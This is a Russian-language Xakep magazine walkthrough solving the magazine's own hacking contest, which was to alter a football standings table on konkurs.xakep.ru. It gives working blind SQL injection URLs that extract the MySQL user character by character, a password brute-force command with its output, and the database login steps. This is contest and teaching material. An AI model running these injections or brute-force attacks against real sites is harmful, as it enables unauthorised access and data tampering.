X-Конкурс
Хакер, номер #089, стр. 089-048-1 В последнем конкурсе перед тобой стояла серьезная задача: нужно было исправить неудачи сборной России по футболу и вставить ее в сетку соревнований вместо бразильской сборной. С тем, как нужно было осуществлять мечту болельщика, мы разберемся прямо сейчас. На сайте konkurs.xakep.ru, была размещена таблица со статистикой. Открыв страницу с информацией о команде, ты бы увидел, что скрипту index.php передаются три параметра: int=stat&id=21&do=report. Интуитивно, самая интересная переменная – id. В самом деле, если поставить id=21', то появится сообщение об ошибке: «INCORRECT QUERY». Ну вот, это уже кое-что. Экспериментируем дальше: index.php?int=stat&id=21+AND 1=1. Ответ положительный – страница с информацией о бразильской сборной показывается без ошибок. Однако стоит включить в запрос кавычки, как нас тут же ожидает облом – параметр magic_quotes_gpc включен. Однако нас это не остановит. Первым делом неплохо было бы получить имя mysql-пользователя, под которым работает наш скрипт. Поскольку у нас фильтруются кавычки и нет доступа к таблице mysql.user, мы будем использовать технику посимвольного перебора. Работает этот метод следующим образом. К выполняемому запросу добавляется «AND ascii(lower(substring(user(),порядковый_номер_символа,1)))=char(код_символа)». Это позволяет, последовательно меняя ASCII-коды, добиваться ситуации, при которой запрос успешно выполняется. Это означает, что указанный ASCII код совпадает с кодом символа логина, и можно переходить к следующей позиции. Чтобы подобрать первый символ имени пользователя, нужно использовать следующйи запрос: index.php?int=stat&id=21%20AND%20ascii(lower(substring(user(),1,1)))=[ASCII] Здесь [ASCII] – перебираемый символ, который последовательно меняется, пока не будет достигнуто совпадение. Для перебора маленьких латинских букв, нужно менять параметр [ASCII] от 97 до 122. Скрипт для автоматизации процесса можно взять с http://rst.void.ru/papers/mysql_char_brute.txt. Запускаем сценарий и получаем имя пользователя: «konkurs». Дело осталось за малым - пробрутить пароль! Берем любой словарь паролей и пускаем брутер: ~ $ ./r57mysql_brute -h konkurs.xakep.ru -p 3306 -l konkurs -w password.lst [ DONE ] Password found! Password: Football HEX: 46 6F 6F 74 62 61 6C 6C Вот такие дела! Теперь настало время изменить таблицу и закончить нашу миссию: ~ $ mysql -h konkurs.xakep.ru -u konkurs -p Enter password:****** Командой show databases легко выяснить, что всего на сервере 2 базы данных: db_konkurs и mysql. Нас, конечно, инересует db_konkurs: mysql> use db_konkurs В этой базе данных расположена единственная таблица – champ, в которой и располагается таблица с командами. Сделав SELECT * from `champ`, можно легко получить все содержимое таблицы: +-------------+----+---+-----+---+---+----+----+-----+----+-------+ | team | wp | w | tm | d | l | gf | ga | pts | id | group | +-------------+----+---+-----+---+---+----+----+-----+----+-------+ | Poland | 0 | 0 | POL | 0 | 0 | 0 | 0 | 0 | 3 | A | ... | Brazil | 0 | 0 | BRA | 0 | 0 | 0 | 0 | 0 | 21 | F | |